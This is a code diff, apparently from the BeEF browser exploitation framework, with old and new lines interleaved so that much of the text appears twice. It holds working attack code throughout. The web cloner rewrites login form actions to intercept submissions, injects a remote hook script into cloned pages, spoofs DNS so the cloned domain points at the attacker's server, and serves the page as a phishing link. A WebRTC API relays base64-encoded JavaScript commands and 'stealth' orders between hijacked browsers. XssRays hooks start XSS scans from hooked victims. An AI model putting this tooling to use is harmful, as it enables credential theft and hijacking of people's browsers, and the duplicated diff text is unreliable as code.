#todo: to be tested, needed in case like yahoo
# TODO: to be tested, needed in case like yahoo
# delete the form 'onsubmit' attribute
#line_attrs.each do |attr|
# line_attrs.each do |attr|
# if attr.include? "onsubmit="
# print_info "Form onsubmit event found: #{attr}"
# break
# end
# cc += 1
#end
#line_attrs[cc] = ""
# end
# line_attrs[cc] = ""
mod_form = line_attrs.join(" ")
print_info "Form action value changed in order to be intercepted :-D"
mod_form = line_attrs.join(' ')
print_info 'Form action value changed in order to be intercepted :-D'
out_file.print mod_form
# Add the BeEF hook
elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
out_file.print add_beef_hook(line)
print_info "BeEF hook added :-D"
print_info 'BeEF hook added :-D'
else
out_file.print line
end
@@ -95,104 +93,103 @@ module BeEF
end
end
if File.size("#{@cloned_pages_dir + output}") > 0
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
# then the phishing link can be used anyway with all the proper parameters to looks legit.
if mount.include?("?")
mount = mount.split("?").first
print_info "Normalizing mount point. You can still use params for the phishing link."
end
# Check if the original URL can be framed
frameable = is_frameable(url)
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, frameable
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => ipv4
) unless ipv4.nil?
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::AAAA,
:response => ipv6
) unless ipv6.nil?
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount("#{mount}", interceptor.new)
@http_server.remap
success = true
else
if File.size((@cloned_pages_dir + output).to_s).zero?
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
success = false
return false
end
success
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# Split the URL mounting only the path and ignoring the query string.
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
# then the phishing link can be used anyway with all the proper parameters to look legit.
mount = mount.split('?').first if mount.include?('?')
mount = mount.split(';').first if mount.include?(';')
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, url_is_frameable?(url)
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
unless ipv4.nil?
dns.add_rule(
pattern: domain,
resource: Resolv::DNS::Resource::IN::A,
response: ipv4
)
end
unless ipv6.nil?
dns.add_rule(
pattern: domain,
resource: Resolv::DNS::Resource::IN::AAAA,
response: ipv6
)
end
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount(mount.to_s, interceptor.new)
@http_server.remap
true
end
private
# Replace </head> with <BeEF_hook></head>
def add_beef_hook(line)
if line.include?("</head>")
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
# @todo why is this an inline replace? and why is the second branch empty?
if line.include?('</head>')
line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
end
private
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
def is_frameable(url)
result = true
begin
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response["X-Frame-Options"]
# Check if the URL X-Frame-Options header allows the page to be framed.
# @todo check for framebusting JS code
# @todo check CSP
def url_is_frameable?(url)
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port)
if frame_opt != nil
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
result = false
end
end
print_info "Page can be framed: [#{result}]"
rescue => e
result = false
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
print_debug e
#print_debug e.backtrace
if uri.scheme == 'https'
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
end
result
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response['X-Frame-Options']
# @todo why is this using casecmp?
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
print_info "URL can be framed: #{url}"
return true
end
print_info "URL cannot be framed: #{url}"
false
rescue StandardError => e
print_error "Unable to determine if URL can be framed: #{url}"
print_debug e
# print_debug e.backtrace
false
end
def get_page_content(file_path)
@@ -204,15 +201,13 @@ module BeEF
def persist_page(uri, mount)
webcloner_db = BeEF::Core::Models::WebCloner.new(
:uri => uri,
:mount => mount
uri: uri,
mount: mount
)
webcloner_db.save
webcloner_db
end
end
end
end
end

View File

@@ -6,13 +6,11 @@
module BeEF
module Extension
module WebRTC
require 'base64'
# This class handles the routing of RESTful API requests that manage the
# WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -41,119 +39,116 @@ module BeEF
# longer required as client-debugging uses the beef.debug)
#
# +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2}
# {"from":1, "to":2}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with verbosity on the client-side +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "verbose": true}
# {"from":1, "to":2, "verbose": true}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"verbose":true}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
post '/go' do
begin
body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
verbose = body['verbose']
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
result = {}
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
unless [fromhb,tohb].include?(nil)
if verbose == nil
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
else
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
result['success'] = true
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
end
end
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
:target_hooked_browser_id => tohb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
:target_hooked_browser_id => fromhb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r2.save
else
result['success'] = false
end
verbose = body['verbose']
result.to_json
result = {}
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
if [fromhb, tohb].include?(nil)
result['success'] = false
return result.to_json
end
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
end
r = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: fromhb.to_i,
target_hooked_browser_id: tohb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: tohb.to_i,
target_hooked_browser_id: fromhb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r2.save
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
end
#
# @note Get the RTCstatus of a particular browser (and its peers)
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
#
# +++ Example: +++
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/status/:id' do
begin
id = params[:id]
id = params[:id]
BeEF::Core::Models::Rtcmanage.status(id.to_i)
result = {}
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
BeEF::Core::Models::Rtcmanage.status(id.to_i)
result = {}
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
#
@@ -161,49 +156,48 @@ module BeEF
# Return JSON with events_count and an array of events
#
# +++ Example: +++
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/events/:id' do
begin
id = params[:id]
id = params[:id]
events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id)
events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
events_json = []
count = events.length
events_json = []
count = events.length
events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s
}
end
events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s
}
end
unless events_json.empty?
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
}.to_json
end
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
#
@@ -211,70 +205,69 @@ module BeEF
# Return JSON with events_count and an array of events associated with command module execute
#
# +++ Example: +++
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/cmdevents/:id' do
begin
id = params[:id]
id = params[:id]
events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id)
events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
events_json = []
count = events.length
events_json = []
count = events.length
events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s,
'mod' => event.command_module_id
}
end
events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s,
'mod' => event.command_module_id
}
end
unless events_json.empty?
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
}.to_json
end
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "message":"Just a plain message"}
# {"from":1, "to":2, "message":"Just a plain message"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -289,74 +282,71 @@ module BeEF
# If the <to> is stealthed, it'll bounce the message back.
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
post '/msg' do
begin
body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
message = body['message']
raise InvalidParamError, 'message' if message.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
if message === "!gostealth"
stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil
unless stat.nil?
stat.status = "Selected browser has commanded peer to enter stealth"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil
unless stat2.nil?
stat2.status = "Peer has commanded selected browser to enter stealth"
stat2.updated_at = Time.now
stat2.save
end
message = body['message']
raise InvalidParamError, 'message' if message.nil?
if message === '!gostealth'
stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
unless stat.nil?
stat.status = 'Selected browser has commanded peer to enter stealth'
stat.updated_at = Time.now
stat.save
end
result = {}
unless [fromhb,tohb,message].include?(nil)
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
else
result['success'] = false
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
unless stat2.nil?
stat2.status = 'Peer has commanded selected browser to enter stealth'
stat2.updated_at = Time.now
stat2.save
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing message (#{e.message})"
halt 500
end
result = {}
if [fromhb, tohb, message].include?(nil)
result['success'] = false
else
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing message (#{e.message})"
halt 500
end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# In this instance, the message is a Base64d encoded JS command
# which has the beef.net.send statements re-written
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
# Commands are written back to the rtcmodulestatus model
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -364,137 +354,124 @@ module BeEF
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
#
post '/cmdexec' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
cmdid = body['cmdid']
raise InvalidParamError, 'cmdid' if cmdid.nil?
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
cmdoptions = body['options'] if body['options']
cmdoptions = nil if cmdoptions.eql?("")
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
cmdid = body['cmdid']
raise InvalidParamError, 'cmdid' if cmdid.nil?
cmdoptions = body['options'] if body['options']
cmdoptions = nil if cmdoptions.eql?('')
if [fromhb, tohb, cmdid].include?(nil)
result = {}
unless [fromhb,tohb,cmdid].include?(nil)
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
error 404 if command_module.nil?
error 404 if command_module.path.nil?
# Get the key of the module based on the ID
key = BeEF::Module.get_key_by_database_id(cmdid)
error 404 if key.nil?
# Try to load the module
BeEF::Module.hard_load(key)
# Now the module is hard loaded, find it's object and get it
command_module = BeEF::Core::Command.const_get(
BeEF::Core::Configuration.instance.get(
"beef.module.#{key}.class"
)
).new(key)
# Check for command options
if not cmdoptions.nil?
cmddata = cmdoptions
else
cmddata = []
end
# Get path of source JS
f = command_module.path+'command.js'
error 404 if not File.exists? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
# Parse in the supplied parameters
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each{|v|
cc[v['name']] = v['value']
}
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = $1.split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ");"
tmpout
}
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@" + Base64.strict_encode64(@output)
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
msg)
result = {}
result['success'] = true
result.to_json
else
result = {}
result['success'] = false
result.to_json
end
rescue JSON::ParserError => e
print_error "Invalid JSON: #{e.message}"
halt 400
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while executing command (#{e.message})"
halt 500
result['success'] = false
return result.to_json
end
end
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
error 404 if command_module.nil?
error 404 if command_module.path.nil?
# Get the key of the module based on the ID
key = BeEF::Module.get_key_by_database_id(cmdid)
error 404 if key.nil?
# Try to load the module
BeEF::Module.hard_load(key)
# Now the module is hard loaded, find it's object and get it
command_module = BeEF::Core::Command.const_get(
BeEF::Core::Configuration.instance.get(
"beef.module.#{key}.class"
)
).new(key)
# Check for command options
cmddata = cmdoptions.nil? ? [] : cmdoptions
# Get path of source JS
f = "#{command_module.path}command.js"
error 404 unless File.exist? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
# Parse in the supplied parameters
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each do |v|
cc[v['name']] = v['value']
end
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = Regexp.last_match(1).split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ');'
tmpout
end
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@#{Base64.strict_encode64(@output)}"
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
result = {}
result['success'] = true
result.to_json
rescue JSON::ParserError => e
print_error "Invalid JSON: #{e.message}"
halt 400
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while executing command (#{e.message})"
halt 500
end
# Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/webrtc handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -4,36 +4,36 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Xssrays
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
module Extension
module Xssrays
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
#
# Mounts the handlers and REST interface for processing XSS rays
#
# @param beef_server [BeEF::Core::Server] HTTP server instance
#
def self.mount_handler(beef_server)
# We register the http handler for the requester.
# This http handler will retrieve the http responses for all requests
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
# REST API endpoint
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
end
end
#
# Mounts the handlers and REST interface for processing XSS rays
#
# @param beef_server [BeEF::Core::Server] HTTP server instance
#
def self.mount_handler(beef_server)
# We register the http handler for the requester.
# This http handler will retrieve the http responses for all requests
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
# REST API endpoint
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
end
end
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
# checks at every polling if there are new scans to be started
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
return if hooked_browser.nil?
# checks at every polling if there are new scans to be started
def self.pre_hook_send(hooked_browser, body, params, request, response)
if hooked_browser != nil
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, body)
end
end
end
end
end
end
end

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension
module Xssrays
module API
class Scan
include BeEF::Core::Handlers::Modules::BeEFJS
#
@@ -19,15 +17,15 @@ module BeEF
@body = body
config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first
# TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
# TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first
# stop here if there are no XssRays scans to be started
return if xs == nil || xs.is_started == true
return if xs.nil? || xs.is_started == true
# set the scan as started
xs.update(:is_started => true)
xs.update(is_started: true)
# build the beefjs xssrays component
@@ -38,21 +36,20 @@ module BeEF
